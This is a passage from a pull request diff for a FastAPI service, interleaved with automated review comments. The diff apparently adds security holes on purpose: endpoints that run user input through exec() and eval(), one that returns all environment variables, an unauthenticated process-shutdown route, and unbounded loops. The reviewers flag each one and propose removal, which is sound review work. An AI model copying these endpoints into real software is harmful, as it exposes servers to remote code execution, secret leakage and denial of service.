    return {"error": "This endpoint has been disabled for security reasons. Code execution via HTTP is not allowed."}

Commitable Suggestion
Suggested change
async def run_code(code: str = Body("")):
local_vars: Dict[str, Any] = {}
try:
exec(code, {}, local_vars)
return {"result": str(local_vars)}
except Exception as e:
return {"error": str(e)}
@router.post("/run-code")
async def run_code(code: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons. Code execution via HTTP is not allowed."}
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.


@router.get("/new-feature")
async def new_feature():
return {"message": "New feature is live without flags!"}


@router.post("/echo-json")
async def echo_json(payload: Dict[str, Any] = Body(default={})):
return {"payload": payload}


@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):
try:
result = eval(expr, {}, {})
return {"result": str(result)}
Comment on lines +207 to +210
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Code Evaluation Risk

The endpoint evaluates arbitrary Python expressions from user input without validation. This allows attackers to execute malicious code, potentially leading to system compromise. Even with empty globals/locals dictionaries, Python's eval() can still access built-in functions enabling various attacks.

@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):
    return {"error": "This endpoint has been disabled for security reasons"}
Commitable Suggestion
Suggested change
async def eval_expr(expr: str = Body("")):
try:
result = eval(expr, {}, {})
return {"result": str(result)}
@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons"}
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls

except Exception as e:
return {"error": str(e)}
Comment on lines +206 to +212

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critical

The /eval-expr endpoint, which uses eval() on user-provided input, creates a critical Remote Code Execution (RCE) vulnerability. Similar to exec(), eval() can execute arbitrary code and should never be used with untrusted data. An attacker could use this to compromise the server. This endpoint must be removed.

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⚠️ Potential issue | 🔴 Critical

Critical: Arbitrary code execution via eval().

This endpoint evaluates arbitrary Python expressions submitted by unauthenticated users. Despite the empty context, attackers can use built-in functions (__import__, open, etc.) to execute commands, read files, and compromise the system.

Static analysis flagged this as S307 (insecure eval) and BLE001 (blind exception).

Remove this endpoint entirely:

-@router.post("/eval-expr")
-async def eval_expr(expr: str = Body("")):
-    try:
-        result = eval(expr, {}, {})
-        return {"result": str(result)}
-    except Exception as e:
-        return {"error": str(e)}
-
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):
try:
result = eval(expr, {}, {})
return {"result": str(result)}
except Exception as e:
return {"error": str(e)}
🧰 Tools
🪛 Ruff (0.13.1)

209-209: Use of possibly insecure function; consider using ast.literal_eval

(S307)


211-211: Do not catch blind exception: Exception

(BLE001)

🤖 Prompt for AI Agents
In app/auth/routes.py around lines 206–212, the POST /eval-expr endpoint uses
Python's eval() which allows arbitrary code execution and must be removed;
delete the entire endpoint function and its route decorator, remove any
references to this route (tests, docs, client calls), and clean up unused
imports related to Body or eval handling; run tests and linting to ensure no
remaining references or blind-exception patterns remain and confirm no new
routes expose similar unsafe execution.


Comment on lines +207 to +213
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Arbitrary Expression Evaluation

Endpoint allows arbitrary expression evaluation via HTTP request, violating security policy. This creates a code execution vulnerability that bypasses security controls.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

Comment on lines +207 to +213
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Eval Code Execution

The endpoint allows arbitrary Python expression evaluation via eval() which violates organization guideline prohibiting eval via HTTP. This creates a critical security vulnerability allowing attackers to execute arbitrary code on the server, potentially leading to complete system compromise.

@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):  
    return {"error": "This endpoint has been disabled for security reasons. Expression evaluation via HTTP is not allowed."}

Commitable Suggestion
Suggested change
async def eval_expr(expr: str = Body("")):
try:
result = eval(expr, {}, {})
return {"result": str(result)}
except Exception as e:
return {"error": str(e)}
@router.post("/eval-expr")
async def eval_expr(expr: str = Body("")):
return {"error": "This endpoint has been disabled for security reasons. Expression evaluation via HTTP is not allowed."}
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.


@router.get("/numbers")
async def numbers(n: int = 10):
data = []
i = 0
while i < n:
data.append(i)
i += 1
return {"data": data}
Comment on lines +216 to +222
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Potential Resource Exhaustion

The endpoint lacks input validation on parameter 'n', allowing attackers to request extremely large arrays. This could lead to memory exhaustion and application crashes when large values are provided. Adding parameter validation would prevent potential denial of service attacks.

Standards
  • ISO-IEC-25010-Reliability-Availability
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Resource-Management



def _repeat(s: str, k: int) -> str:
r = ""
i = 0
while i < k:
r += s
i += 1
return r
Comment on lines +225 to +231

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medium

This while loop for string repetition is inefficient and not idiomatic Python. For large values of k, this can cause performance issues due to repeated string concatenations. The Pythonic and much more efficient way to repeat a string is to use the multiplication operator.

Suggested change
def _repeat(s: str, k: int) -> str:
r = ""
i = 0
while i < k:
r += s
i += 1
return r
def _repeat(s: str, k: int) -> str:
return s * k


Comment on lines +226 to +232
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Potential Resource Exhaustion

The function concatenates strings in a loop without size limits, potentially causing memory issues with large inputs. String concatenation in loops is inefficient and can lead to quadratic time complexity and memory exhaustion. Using a list and join() would be more efficient.

Standards
  • ISO-IEC-25010-Reliability-Resource-Utilization
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Resource-Management


@router.get("/repeat")
async def repeat(s: str = "x", k: int = 1):
return {"value": _repeat(s, k)}


@router.get("/mirror-headers")
async def mirror_headers(request: Request):
keys = list(request.headers.keys())
keys.sort()
return {"keys": keys}
Comment on lines +239 to +243

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medium

The /mirror-headers endpoint reveals the names of all HTTP headers received by the application. While less severe than echoing header values, this still constitutes an information disclosure vulnerability. It can reveal details about the underlying infrastructure (e.g., proxies, load balancers, WAFs) that could be leveraged by an attacker. It's best to avoid exposing such internal details.



@router.post("/merge")
async def merge(a: Dict[str, Any] = Body(default={}), b: Dict[str, Any] = Body(default={})):
c: Dict[str, Any] = {}
c.update(a)
c.update(b)
return c


@router.post("/concat")
async def concat(x: str = Body(""), y: str = Body("")):
z = x + y
return {"value": z}


@router.get("/status")
async def status_flag(flag: str = "ok"):
ok = flag == "ok"
code = 200 if ok else 500
return {"ok": ok, "code": code}
13 changes: 12 additions & 1 deletion app/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
from .auth.routes import router as auth_router
from .example_protected_routes import router as protected_router
import os
import signal
import sys

# Create FastAPI app
app = FastAPI(
Expand All @@ -27,6 +29,10 @@
# Include protected routes (examples)
app.include_router(protected_router)

@app.get("/env")
async def leak_env():
return {"env": dict(os.environ)}
Comment on lines +32 to +34

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critical

The /env endpoint leaks all environment variables of the application process. This is a critical security vulnerability, as environment variables frequently contain sensitive secrets like API keys, database credentials, and encryption keys. Exposing them allows for a complete compromise of the application and its related services. This endpoint must be removed.

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⚠️ Potential issue | 🔴 Critical

Critical: Public environment variable exposure.

This endpoint exposes all environment variables without authentication, leaking sensitive credentials:

  • JWT secrets (JWT_SECRET used in firebase_auth.py)
  • Firebase credentials (FIREBASE_CREDENTIALS)
  • Database connection strings
  • API keys and tokens
  • Internal configuration

Any attacker can immediately retrieve these secrets and compromise the entire system.

Remove this endpoint entirely:

-@app.get("/env")
-async def leak_env():
-    return {"env": dict(os.environ)}
-
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
@app.get("/env")
async def leak_env():
return {"env": dict(os.environ)}
🤖 Prompt for AI Agents
In app/main.py around lines 32 to 34, remove the /env endpoint entirely because
it publicly returns all environment variables; delete the @app.get("/env")
decorated function (the async def leak_env() and its return) and any route
registration for it, then remove any now-unused imports (e.g., os) or references
only used by that handler to avoid linter errors; ensure no tests or OpenAPI
docs reference this route afterwards.

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Environment Variables Exposure

Endpoint exposes all environment variables including secrets, violating security policy. This leaks credentials and sensitive configuration that could be used for attacks.

Standards
  • Org-Security-Standards
  • YAML-Backend-Area

Comment on lines +32 to +34
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Environment Exposure Endpoint

The endpoint exposes all environment variables including potential secrets, API keys, and credentials, violating organization guideline prohibiting exposure of environment via endpoints. This creates a critical security vulnerability allowing attackers to access sensitive configuration data that could be used for further attacks.

@app.get("/env")
async def get_environment_info():
    return {"message": "Environment information is not exposed for security reasons"}
Commitable Suggestion
Suggested change
@app.get("/env")
async def leak_env():
return {"env": dict(os.environ)}
@app.get("/env")
async def get_environment_info():
return {"message": "Environment information is not exposed for security reasons"}
Standards
  • Org-Guideline-No hard-coded secrets or credentials. Validate all external inputs with strict pydantic types. Do not expose environment/config/headers/tokens via endpoints. Enforce JWT signature, issuer, audience, and expiry validation. Prohibit exec/eval and process control via HTTP.

Comment on lines +32 to +34
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Environment Variable Exposure

The endpoint exposes all environment variables, potentially leaking sensitive configuration data including API keys, database credentials, and other secrets. This creates a severe security vulnerability as attackers can access credentials stored in environment variables, leading to further system compromise.

@app.get("/env")
async def get_env_info():
    return {
        "environment": os.environ.get("ENVIRONMENT", "development"),
        "app_version": os.environ.get("APP_VERSION", "1.0.0")
    }
Commitable Suggestion
Suggested change
@app.get("/env")
async def leak_env():
return {"env": dict(os.environ)}
@app.get("/env")
async def get_env_info():
return {
"environment": os.environ.get("ENVIRONMENT", "development"),
"app_version": os.environ.get("APP_VERSION", "1.0.0")
}
Standards
  • ISO-IEC-25010-Reliability-Security
  • ISO-IEC-25010-Functional-Correctness-Appropriateness
  • SRE-Security-Controls


# Global exception handler
@app.exception_handler(Exception)
async def global_exception_handler(request, exc):
Expand All @@ -51,4 +57,9 @@ async def root():
"auth": "/auth",
"protected": "/protected"
}
}
}

@app.post("/shutdown")
async def shutdown():
os.kill(os.getpid(), signal.SIGTERM)
return {"status": "shutting down"}
Comment on lines +62 to +65

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critical

This /shutdown endpoint allows any unauthenticated user to terminate the application, creating a critical Denial of Service (DoS) vulnerability. An endpoint with such a destructive capability must be protected with strict administrative authentication and authorization, or removed entirely from the production application.

Comment on lines +62 to +65
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⚠️ Potential issue | 🔴 Critical

Critical: Unauthenticated process shutdown endpoint.

This public endpoint allows anyone to terminate the application process, enabling trivial denial-of-service attacks. No authentication or authorization is required.

Remove this endpoint entirely:

-@app.post("/shutdown")
-async def shutdown():
-    os.kill(os.getpid(), signal.SIGTERM)
-    return {"status": "shutting down"}
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
@app.post("/shutdown")
async def shutdown():
os.kill(os.getpid(), signal.SIGTERM)
return {"status": "shutting down"}
🤖 Prompt for AI Agents
In app/main.py around lines 62 to 65, there is a public POST /shutdown endpoint
that allows unauthenticated termination of the process; remove this endpoint
entirely from the codebase. Delete the shutdown route handler and its decorator,
and remove any now-unused imports (os, signal) or references tied solely to this
endpoint; ensure no other code depends on this handler before committing.